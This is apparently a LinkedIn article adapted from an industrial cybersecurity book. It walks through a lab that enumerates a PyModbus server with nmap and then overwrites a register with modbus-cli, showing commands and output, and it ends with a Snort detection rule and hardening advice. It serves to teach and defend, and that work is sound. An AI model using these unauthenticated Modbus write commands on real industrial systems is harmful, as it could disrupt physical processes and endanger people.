Attacking Modbus

In light of the recent discovery of the FrostyGoop Industrial Control System (ICS) centric malware (Dragos: New ICS malware FrostyGoop abuses Modbus | TechTarget) that leverages the Modbus protocol to directly attack Modbus services in an ICS environment, I thought it would make sense to share a snippet from my book “Industrial Cybersecurity – 2nd Edition” (Amazon.com: Industrial Cybersecurity - Second Edition: Efficiently monitor the cybersecurity posture of your ICS environment) around abusing/attacking the Modbus protocol, with the purpose of getting a better understanding of the Modbus protocol and its inherent flaws.

To hack along with the exercise, you will need to build two virtual machines (VMs). You can build these in VirtualBox, VMware workstation, or some other virtualization platform you may prefer. One VM will run a Linux flavor OS (Ubuntu) and will be hosting the Python implementation of a Modbus server service. The other is a copy of Kali Linux or some other attacker distro you might like better.

Following is a writeup around building the VM with the Modbus server service (for those of us not fortunate enough to have a Modbus capable PLC laying around); as for building a Kali Linux VM, there are plenty of tutorials floating around on the internet for that. Do make sure both VMs are on the same network segment and are able to see (ping) each other.


Building an Emulated Modbus Network Stack

In order to emulate the Modbus server service, we will first need to deploy a Linux VM (Ubuntu). Use your favorite search engine to find instructions on how to accomplish this, if you need some help. Configure the Linux VM with a static IP address of 172.25.200.21.

Once done building a Linux VM, follow these instructions to install the Modbus stack on that virtual machine:

1.??? Log into the Ubuntu machine and open a terminal (or use SSH).

2.??? Run the command sudo apt install python-pip python3-dev to install required Python packages.

3.??? Switch to elevated (sudo) terminal with sudo su as the port the Modbus server will run on is in the lower range of port numbers (below 1000), which requires root privileges to assign.

4.??? Run the command pip3 install –upgrade pip ipython to install python dependencies.

5.??? Now run the command pip3 install pymodbus to install the Modbus Python module.

6.??? Download the Modbus server configuration file (modbus-server.py) from? https://github.com/SackOfHacks/Industrial-Cybersecurity-2nd-Edition/blob/main/lab-setup/modbus-server/modbus-server.py. Then change the line with the server address to the address of your Ubuntu machine:

7.??? ?Now you can start the Modbus server with the command python3 ./modbus-server.py

8.??? The server is now ready to receive requests.

For additional documentation on the Pymodbus Python Modbus implementation, refer to the project’s GitHub repository at https://github.com/riptideio/pymodbus


Note: To follow along with the rest of this writeup you need to build a Kali VM/machine, connect it to the same virtual network as the Modbus server and set the IP address to 172.25.200.222.


Exploring and attacking the Modbus Protocol

Now that we build a Modbus server/service to play with, let’s see what exactly is listening on the port exposed by the PyModbus module by using Nmap scripts.

If we do a search among the Nmap scripts, we see there is only a single script concerning with Modbus:


pac@KVM0101011:~$ ls /usr/share/nmap/scripts/ | grep modbus

-rw-r--r-- 1 root root 5.9K Jul 13 03:03 modbus-discover.nse


That one script is exactly what we need to figure out what is running on the open TCP port 502, though. The following Nmap command can be used to unearth the application behind the open port:


pac@KVM0101011:~$ nmap -p 502 -T3 172.25.100.21 --script modbus-discover

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-31 15:13 MDT

Nmap scan report for 172.25.100.21

Host is up (0.00096s latency).

?

PORT??? STATE SERVICE

502/tcp open? modbus

| modbus-discover:

|?? sid 0x1:

|???? Slave ID data: Pymodbus-PM-2.3.0\xFF

|_??? Device identification: Pymodbus PM 2.3.0

MAC Address: 00:20:4A:64:1D:3F (Pronet Gmbh)

?Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds


Here we can see that the service is PyModbus PM 2.3.0, the Python Modbus implementation we have running on our Ubuntu VM. If we look at the PyModbus activity log, shown in the terminal that we started the PyModbus service from on the Ubuntu VM, we can glean on how Nmap discovers the details shown above:


root@ubuntu:/home/pac/workdir/python/modbus# python3 ./modbus-server.py

2020-08-31 14:13:19,327 MainThread????? DEBUG??? sync?????????? :347

Started thread to serve client at ('172.25.100.222', 60272)

2020-08-31 14:13:19,328 Thread-1??????? DEBUG??? sync?????????? :46?????? Client Connected [172.25.100.222:60272]

2020-08-31 14:13:19,329 Thread-1??????? DEBUG??? sync?????????? :199????? Handling data: 0x0 0x0 0x0 0x0 0x0 0x2 0x1 0x11

2020-08-31 14:13:19,329 Thread-1??????? DEBUG??? socket_framer? :147????? Processing: 0x0 0x0 0x0 0x0 0x0 0x2 0x1 0x11

2020-08-31 14:13:19,329 Thread-1??????? DEBUG??? factory??????? :137

Factory Request[ReportSlaveIdRequest: 17]

2020-08-31 14:13:19,330 Thread-1??????? DEBUG??? sync?????????? :229 send: [ResportSlaveIdResponse(17, b'Pymodbus-PM-2.3.0', True)]- b'00000000001501111250796d6f646275732d504d2d322e332e30ff'

2020-08-31 14:13:19,332 Thread-1??????? DEBUG??? sync?????????? :199????? Handling data:

2020-08-31 14:13:19,332 Thread-1??????? DEBUG??? socket_framer? :147????? Processing:

2020-08-31 14:13:19,332 Thread-1??????? DEBUG??? sync?????????? :54

Client Disconnected [172.25.100.222:60272]

2020-08-31 14:13:19,333 MainThread????? DEBUG??? sync?????????? :347

Started thread to serve client at ('172.25.100.222', 60274)

2020-08-31 14:13:19,334 Thread-2??????? DEBUG??? sync?????????? :46?????? Client Connected [172.25.100.222:60274]

2020-08-31 14:13:19,334 Thread-2??????? DEBUG??? sync?????????? :199????? Handling data: 0x0 0x0 0x0 0x0 0x0 0x5 0x1 0x2b 0xe 0x1 0x0

2020-08-31 14:13:19,335 Thread-2??????? DEBUG??? socket_framer? :147????? Processing: 0x0 0x0 0x0 0x0 0x0 0x5 0x1 0x2b 0xe 0x1 0x0

2020-08-31 14:13:19,335 Thread-2??????? DEBUG??? factory??????? :137 Factory Request[ReadDeviceInformationRequest: 43]

2020-08-31 14:13:19,335 Thread-2??????? DEBUG??? sync?????????? :229 send: [ReadDeviceInformationResponse(1)]- b'00000000001d012b0e0183000003000850796d6f646275730102504d0205322e332e30'

2020-08-31 14:13:19,337 Thread-2??????? DEBUG??? sync?????????? :199????? Handling data:

2020-08-31 14:13:19,337 Thread-2??????? DEBUG??? socket_framer? :147????? Processing:

2020-08-31 14:13:19,338 Thread-2??????? DEBUG??? sync?????????? :54?????? Client Disconnected [172.25.100.222:60274]


To summarize, our Kali Linux machine (172.25.100.222) connects to the Modbus service on 2 occasions. The first time we are asking for the SlaveIdRequest with a value of 17, followed by a request for DeviceInformationRequest with a value of 43. This is enough data for Nmap to give us the results we read earlier.

Although the information returned by Nmap (vendor, type, version and revision) would be enough for us to figure out if there were any known vulnerabilities for this system, I would like to point out there are some inherent vulnerabilities that are fundamental to the design of the Modbus protocol. These vulnerabilities stem from two architectural flaws in the Modbus protocol: It doesn’t supply transport encryption, and it doesn’t mandate authentication for communications. With these two fundamental design flaws, an attacker can sniff the network, learn about (critical) memory registers, and read/write to and from those registers. To illustrate the impact of these vulnerabilities, the following example shows an attacker sniffing the read of a register (Marker word) on an industrial network via Wireshark:


Notice how, in the screenshot above, 172.25.100.222 can be seen requesting a register value in packet nr. 4 and the Modbus service (172.25.100.21) sending a response in packet nr. 6 (highlighted in the screenshot). Among the packet details we see the register number (10) as well as its value (34).

With this information an attacker can now instruct the Modbus service to change this value to their liking. One possible tool to do this with it modbus-cli, explained next.


Modbus-cli

Modbus-cli is a Ruby application that you can add to Kali Linux with the following command:


pac@KVM0101011:~$ sudo gem install modbus-cli

Successfully installed modbus-cli-0.0.14

Parsing documentation for modbus-cli-0.0.14

Done installing documentation for modbus-cli after 0 seconds

1 gem installed


Once installed, the command to run the ruby tool is modbus:


pac@KVM0101011:~$ modbus

Usage:

??? modbus [OPTIONS] SUBCOMMAND [ARG] ...

?

Parameters:

??? SUBCOMMAND??? subcommand

??? [ARG] ...???? subcommand arguments

?

Subcommands:

??? read????????? read from the device

??? write???????? write to the device

??? dump????????? copy contents of read file to the device

?

Options:

??? -h, --help??? print help


As you can see, the tool allows us to read and write to a Modbus server. Let’s see if we can read work register 10 on 172.25.200.21:


pac@KVM0101011:~$ modbus read -help

Usage:

??? modbus read [OPTIONS] HOST ADDRESS COUNT

?

Parameters:

??? HOST???????????????????????????? IP address or hostname for the Modbus device

??? ADDRESS????????????????????????? Start address (eg %M100, %MW100, 101, 400101)

??? COUNT??????????????????????????? number of data to read

?

Options:

??? -w, --word?????????????????????? use unsigned 16 bit integers

??? -i, --int??????????????????????? use signed 16 bit integers

??? -d, --dword????????????????????? use unsigned 32 bit integers

??? -f, --float????????????????????? use signed 32 bit floating point values

??? --modicon??????????????????????? use Modicon addressing (eg. coil: 101, word: 400001)

??? --schneider????????????????????? use Schneider addressing (eg. coil: %M100, word: %MW0, float: %MF0, dword: %MD0)

??? -s, --slave ID?????????????????? use slave id ID (default: 1)

??? -p, --port PORT????????????????? use TCP port (default: 502)

??? -o, --output FILE??????????????? write results to file FILE

??? -D, --debug????????????????????? show debug messages

??? -T, --timeout TIMEOUT??????????? Specify the timeout in seconds when talking to the slave

??? -C, --connect-timeout TIMEOUT??? Specify the timeout in seconds when connecting to TCP socket

??? -h, --help?????????????????????? print help

?

pac@KVM0101011:~$ modbus read 172.25.100.21 %MW10 1

%MW10????????? 34


Just like in the packet capture, we successfully read Marker Word 10 (%MW10). Now let’s see if we can overwrite that register:


pac@KVM0101011:~$ modbus write -help

Usage:

??? modbus write [OPTIONS] HOST ADDRESS VALUES ...

?

Parameters:

??? HOST???????????????????????????? IP address or hostname for the Modbus device

??? ADDRESS????????????????????????? Start address (eg %M100, %MW100, 101, 400101)

??? VALUES ...?????????????????????? values to write, nonzero counts as true for discrete values

?

Options:

??? -w, --word?????????????????????? use unsigned 16 bit integers

??? -i, --int??????????????????????? use signed 16 bit integers

??? -d, --dword????????????????????? use unsigned 32 bit integers

??? -f, --float????????????????????? use signed 32 bit floating point values

??? --modicon??????????????????????? use Modicon addressing (eg. coil: 101, word: 400001)

??? --schneider????????????????????? use Schneider addressing (eg. coil: %M100, word: %MW0, float: %MF0, dword: %MD0)

??? -s, --slave ID?????????????????? use slave id ID (default: 1)

??? -p, --port PORT????????????????? use TCP port (default: 502)

??? -D, --debug????????????????????? show debug messages

??? -T, --timeout TIMEOUT??????????? Specify the timeout in seconds when talking to the slave

??? -C, --connect-timeout TIMEOUT??? Specify the timeout in seconds when connecting to TCP socket

??? -h, --help?????????????????????? print help

?

pac@KVM0101011:~$ modbus write 172.25.100.21 %MW10 65535

pac@KVM0101011:~$ modbus read 172.25.100.21 %MW10 1

%MW10?????? 65535


There we have it; we successfully wrote the maximum register value to the Modbus module. If this happens to be the setpoint for the speed of a centrifuge or the pressure setting of your boiler, you might be in trouble.

And things are really this easy, because Modbus commands are sent in clear text over the network and the service doesn’t require any form of authentication or authorization to read and write registers; anyone with the IP address of a Modbus server can attack it.

?

Detection

As for detection, ICS security monitoring tools use passive network traffic detection methods to look (sniff) for suspicious or malicious Modbus commands traversing the network by looking into network packets for specific sequences of bytes. You can do this with open-source tools like Snort (Snort - Network Intrusion Detection & Prevention System) yourself as well - looking, for example at Digital Bond’s Modbus Snort detection rules (Quickdraw-Snort/modbus.rules at master · digitalbond/Quickdraw-Snort · GitHub):


Looking at the highlighted Snort detection rule:

alert tcp $MODBUS_CLIENT any -> $MODBUS_SERVER 502 (flow:from_client,established; content:"|00 00|"; offset:2; depth:2; content:"|08 00 01|"; offset:7; depth:3; msg:"SCADA_IDS: Modbus TCP - Restart Communications Option"; reference:url,digitalbond.com/tools/quickdraw/modbus-tcp-rules; classtype:attempted-dos; sid:1111002; rev:2; priority:1;)

We can see that Snort will issue the alert/message “SCADA_IDS: Modbus TCP - Restart Communications Option” when it detects the bytes 00 00 at offset 2 as well as the bytes 08 00 01 at offset 7 within a network packet that travels from a Modbus client to a Modbus server.

As a homework assignment I challenge the reader to repurpose Digital Bonds Snort rules to detect the write command we fired off with modbus-cli, earlier in this exercise.

?

Conclusion

As you should have concluded from this exercise, sending Modbus commands to a Modbus server is a trivial task. Besides tools like modbus-cli there are numerous other ways to generate Modbus command packets, including C/C++ libraries, Python modules, and even PowerShell scripts (GitHub - 4B3l0/PsModbus: Modbus powershell client). Additionally, if one can intercept Modbus network packets, because Modbus is a cleartext and unauthenticated protocol, it is possible to perform replay or Man in the Middle attacks. As an example, consider the Wireshark output from earlier; the Modbus registers and the command codes are well-defined and can be updated (on the fly) with tools like Scapy (Scapy).

What can you do to protect yourself? There is a secure version of the Modbus protocol one can implement: MB-TCP-Security-v21_2018-07-24.pdf (modbus.org), or as a compensating control one should segment their OT network from any other network segments and out of reach from all but the necessary systems and equipment necessary to produce the goods or services your organization delivers.

OVAIS AHMED

Senior Consultant @ KPMG in Qatar | ICS/OT Security Engineer | ISA/IEC-62443 CFS- Risk Assessment Specialist

7 个月

Pascal Ackerman Thanks for sharing.

回复
Robin Long

Founder at Kiowa Security

7 个月

Hi Pascal, I saw FrostyGoop described as "the first ICS malware that can communicate directly with operational technology systems via the Modbus protocol". (https://www.darkreading.com/ics-ot-security/novel-ics-malware-sabotaged-water-heating-services-in-ukraine). Do you agree that that is the case - or at least likely to be the case?

Rob Hulsebos

ICS Security Engineer / Industrial Networks Expert & Teacher / Technical Author

7 个月

Do you know about available Modbus Secure implementations ( both for master and slave) ?

Abhinav D.

Ex-trainee in Offensive Cybersecurity at Cyberik Global, UK | Globally ranked in Top 3% in THM

7 个月

very thorough and great article. always makes me to explore these more and more:) Thanks.

回复

要查看或添加评论,请登录

Pascal Ackerman的更多文章

  • Attacking Modbus, Act 2 - Using Scapy

    Attacking Modbus, Act 2 - Using Scapy

    Intro As a follow-up to my LinkedIn article, “Attacking Modbus”, posted here: Attacking Modbus (Attacking Modbus…

    5 条评论

社区洞察

其他会员也浏览了